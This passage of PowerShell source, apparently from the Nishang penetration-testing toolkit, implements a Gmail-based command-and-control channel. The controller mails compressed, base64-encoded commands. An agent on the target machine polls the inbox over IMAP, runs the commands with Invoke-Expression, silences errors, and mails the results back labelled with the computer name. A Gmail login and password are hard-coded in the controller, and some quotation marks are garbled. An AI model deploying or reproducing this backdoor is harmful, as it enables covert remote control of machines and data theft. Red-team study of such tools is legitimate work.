5667 #$ErrorActionPreference = "SilentlyContinue"
5668
5669 function SendCommand ($Payload, $Username, $Password)
5670 {
5671
5672 try
5673 {
5674 $ms = New-Object IO.MemoryStream
5675 $action = [IO.Compression.CompressionMode]::Compress
5676 $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
5677 $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
5678 $Payload | ForEach-Object {$sw.WriteLine($_)}
5679 $sw.Close()
5680
5681 # Base64 encode stream
5682 $Compressed = [Convert]::ToBase64String($ms.ToArray())
5683
5684 #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
5685 $smtpserver = “smtp.gmail.comâ€
5686 $msg = new-object Net.Mail.MailMessage
5687 $smtp = new-object Net.Mail.SmtpClient($smtpServer )
5688 $smtp.EnableSsl = $True
5689 $smtp.Credentials = New-Object System.Net.NetworkCredential(“$usernameâ€, “$passwordâ€);
5690 $msg.From = “$username@gmail.comâ€
5691 $msg.To.Add(â€$username@gmail.comâ€)
5692 $msg.Subject = "Command"
5693 $msg.Body = "##" + $Compressed
5694 $smtp.Send($msg)
5695 Write-Output "Command sent to $username@gmail.com"
5696 }
5697 catch
5698 {
5699 Write-Warning "Something went wrong! Check if Username/Password are correct and you can connect to gmail from insecure apps."
5700 Write-Error $_
5701 }
5702 }
5703
5704 function ReadResponse
5705 {
5706 try
5707 {
5708 $tcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
5709
5710 # Connect to gmail
5711 $tcpClient.Connect("imap.gmail.com", 993)
5712
5713 if($tcpClient.Connected)
5714 {
5715 # Create new SSL Stream for tcpClient
5716 [System.Net.Security.SslStream] $sslStream = $tcpClient.GetStream()
5717
5718 # Authenticating as client
5719 $sslStream.AuthenticateAsClient("imap.gmail.com");
5720
5721 if($sslStream.IsAuthenticated)
5722 {
5723 # Asssigned the writer to stream
5724 [System.IO.StreamWriter] $sw = $sslstream
5725
5726 # Assigned reader to stream
5727 [System.IO.StreamReader] $reader = $sslstream
5728 $script:result = ""
5729 $sb = New-Object System.Text.StringBuilder
5730 $mail =""
5731 $responsebuffer = [Array]::CreateInstance("byte", 2048)
5732
5733
5734 function ReadResponse ($command)
5735 {
5736 $sb = New-Object System.Text.StringBuilder
5737 if ($command -ne "")
5738 {
5739 $buf = [System.Text.Encoding]::ASCII.GetBytes($command)
5740 $sslStream.Write($buf, 0, $buf.Length)
5741 }
5742 $sslStream.Flush()
5743 $bytes = $sslStream.Read($responsebuffer, 0, 2048)
5744 $str = $sb.Append([System.Text.Encoding]::ASCII.GetString($responsebuffer))
5745 $sb.ToString()
5746 $temp = $sb.ToString() | Select-String "\* SEARCH"
5747 if ($temp)
5748 {
5749 $fetch = $temp.ToString() -split "\$",2
5750 $tmp = $fetch[0] -split "\* SEARCH " -split " " -replace "`n"
5751 [int]$mail = $tmp[-1]
5752 $cmd = ReadResponse("$ FETCH $mail BODY[TEXT]`r`n", "1")
5753 $cmd -replace '='
5754 }
5755 }
5756 ReadResponse ""
5757 ReadResponse ("$ LOGIN " + "psgcatlite@gmail.com" + " " + "powershellchabi" + " `r`n") | Out-Null
5758 ReadResponse("$ SELECT INBOX`r`n") | Out-Null
5759 ReadResponse("$ SEARCH SUBJECT `"Output`"`r`n")
5760 ReadResponse("$ LOGOUT`r`n") | Out-Null
5761 }
5762 else
5763 {
5764 Write-Error "You were not authenticated. Quitting."
5765 }
5766 }
5767 else
5768 {
5769 Write-Error "You are not connected to the host. Quitting"
5770 }
5771 }
5772
5773 catch
5774 {
5775 Write-Warning "Something went wrong! Check if Username/Password are correct, you can connect to gmail from insecure apps and if there is output email in the inbox"
5776 Write-Error $_
5777 }
5778 }
5779
5780 #For only reading the output.
5781 if ($GetOutput)
5782 {
5783 Write-Verbose "Reading Output from Gmail"
5784 ReadResponse ""
5785 }
5786 #Non interactive
5787 elseif ($NonInteractive)
5788 {
5789 #If Scriptpath is provided, read the script.
5790 if ($ScriptPath)
5791 {
5792 $Payload = [IO.File]::ReadAllText("$ScriptPath") -replace "`n"
5793 Write-Verbose "Sending Payload to $Username@gmail.com $Payload"
5794 SendCommand $Payload $Username $Password
5795 }
5796 #else use the command
5797 else
5798 {
5799 Write-Verbose "Sending Payload to $Username@gmail.com $Payload"
5800 SendCommand $Payload $Username $Password
5801 }
5802
5803 }
5804 #Interactive prompt
5805 else
5806 {
5807 while($Payload -ne "exit")
5808 {
5809
5810 Write-Output "Use GetOutput to get output."
5811 Write-Output "Use Script to specify a script."
5812 $Payload = Read-Host -Prompt "PsGcat"
5813 if ($Payload -eq "GetOutput")
5814 {
5815 Write-Verbose "Reading Output from Gmail"
5816 ReadResponse ""
5817 }
5818 if ($Payload -eq "Script")
5819 {
5820 $path = Read-Host -Prompt "Provide complete path to the PowerShell script."
5821 $Payload = [IO.File]::ReadAllText("$path") -replace "`n"
5822 Write-Verbose "Sending Payload to $Username@gmail.com $Payload"
5823 SendCommand $Payload $Username $Password
5824 }
5825 else
5826 {
5827 Write-Verbose "Sending Payload to $Username@gmail.com $Payload"
5828 SendCommand $Payload $Username $Password
5829 }
5830 }
5831 }
5832}
5833
5834########################################## Invoke-PsGcatAgent needs to be run on target machine ########################
5835function Invoke-PsGcatAgent
5836{
5837<#
5838.SYNOPSIS
5839Nishang script which can be used to execute commands and scripts from Gmail uploaded by Invoke-PSGcat.
5840.DESCRIPTION
5841This script is capable of executing commands and/or scripts from Gmail and send the output back.
5842A valid Gmail username and password is required.
5843This script must be executed on the target and commands should be uploaded by Invoke-PsGcat on attacker's machine.
5844In the Gmail security settings of that account "Access for less secure apps" must be turned on. Make sure that you use
5845a throw away account.
5846Script execution is not very reliable right now and you may see the agent struggling to pull a big encoded script.
5847.PARAMETER Username
5848Username of the Gmail account you want to use.
5849.PARAMETER Password
5850Password of the Gmail account you want to use.
5851.PARAMETER AgentID
5852AgentID is currently unused and would be used with multiple agent support in future.
5853.PARAMETER Delay
5854Delay in seconds after a successful execution. Default is 60.
5855.EXAMPLE
5856PS > Invoke-PSGcatAgent -Username psgcatlite -password pspassword -Delay 10
5857Pull latest command/script from Gmail and execute with a delay of 10 seconds.
5858.LINK
5859http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html
5860https://github.com/samratashok/nishang
5861#>
5862
5863 [CmdletBinding()] Param(
5864
5865 [Parameter(Position = 0, Mandatory = $false)]
5866 [String]
5867 $Username,
5868
5869 [Parameter(Position = 1, Mandatory = $false)]
5870 [String]
5871 $Password,
5872
5873 [Parameter(Position = 2, Mandatory = $false)]
5874 [String]
5875 $AgentID,
5876
5877 [Parameter(Position = 3, Mandatory = $false)]
5878 [String]
5879 $Delay = 60
5880 )
5881
5882
5883 $ErrorActionPreference = "SilentlyContinue"
5884
5885 while ($true)
5886 {
5887 try
5888 {
5889
5890 #Basic IMAP interaction from http://learningpcs.blogspot.in/2012/01/powershell-v2-read-gmail-more-proof-of.html
5891 $tcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
5892
5893 # Connect to gmail
5894 $tcpClient.Connect("imap.gmail.com", 993)
5895 if($tcpClient.Connected)
5896 {
5897 # Create new SSL Stream for tcpClient
5898 [System.Net.Security.SslStream] $sslStream = $tcpClient.GetStream()
5899
5900 # Authenticating as client
5901 $sslStream.AuthenticateAsClient("imap.gmail.com");
5902 $script:result = ""
5903 $sb = New-Object System.Text.StringBuilder
5904 $mail =""
5905 $responsebuffer = [Array]::CreateInstance("byte", 2048)
5906
5907 #Send IMAP commands and read response
5908 function ReadResponse ($command, $ReturnResult)
5909 {
5910 $sb = New-Object System.Text.StringBuilder
5911 if ($command -ne "")
5912 {
5913 $command
5914 $buf = [System.Text.Encoding]::ASCII.GetBytes($command)
5915 $sslStream.Write($buf, 0, $buf.Length)
5916 }
5917 $sslStream.Flush()
5918 $bytes = $sslStream.Read($responsebuffer, 0, 2048)
5919 $str = $sb.Append([System.Text.Encoding]::ASCII.GetString($responsebuffer))
5920 $sb.ToString()
5921
5922 #Select the output of SEARCH IMAP command
5923 $temp = $sb.ToString() | Select-String "\* SEARCH"
5924 if ($temp)
5925 {
5926 $fetch = $temp.ToString() -split "\$",2
5927 $tmp = $fetch[0] -split "\* SEARCH " -split " " -replace "`n"
5928 [int]$mail = $tmp[-1]
5929
5930 #FETCH the body of the last email which matches the SEARCH criteria
5931 $cmd = ReadResponse("$ FETCH $mail BODY[TEXT]`r`n", "1")
5932 $tmp = $cmd[2] -split "\)",2 -replace "`n"
5933 $TempCommand = ($tmp[0] -split "##",2)[1] -replace "(?<=\=)3D" -replace "`r"
5934 $EncCommand = $TempCommand -replace '(?!={1,2}$)=','' -replace "`r"
5935 Write-Verbose "Executing Encoded Command $EncCommand"
5936 #Decode
5937 $dec = [System.Convert]::FromBase64String($EncCommand)
5938 $ms = New-Object System.IO.MemoryStream
5939 $ms.Write($dec, 0, $dec.Length)
5940 $ms.Seek(0,0) | Out-Null
5941 $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
5942 $sr = New-Object System.IO.StreamReader($cs)
5943 $cmd = $sr.readtoend()
5944 $result = Invoke-Expression $cmd -ErrorAction SilentlyContinue
5945
5946 #Send results to gmail
5947 #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
5948 $smtpserver = “smtp.gmail.comâ€
5949 $msg = new-object Net.Mail.MailMessage
5950 $smtp = new-object Net.Mail.SmtpClient($smtpServer )
5951 $smtp.EnableSsl = $True
5952 $smtp.Credentials = New-Object System.Net.NetworkCredential(“$Usernameâ€, “$Passwordâ€);
5953 $msg.From = “$Username@gmail.comâ€
5954 $msg.To.Add(â€$Username@gmail.comâ€)
5955 $msg.Subject = "Output from $env:Computername"
5956 $msg.Body = $result
5957 $smtp.Send($msg)
5958 }
5959 }
5960
5961 #Interact with Gmail using IMAP
5962 ReadResponse ""
5963 ReadResponse ("$ LOGIN " + "$Username@gmail.com" + " " + "$Password" + " `r`n") | Out-Null
5964 ReadResponse("$ SELECT INBOX`r`n") | Out-Null
5965 ReadResponse("$ SEARCH SUBJECT `"Command`"`r`n")
5966 ReadResponse("$ LOGOUT`r`n") | Out-Null
5967 Start-Sleep -Seconds $Delay
5968
5969 }
5970
5971 else
5972 {
5973 Write-Error "You are not connected to the host. Quitting"
5974 }
5975
5976 }
5977 catch
5978 {
5979 $_
5980 }
5981 }
5982}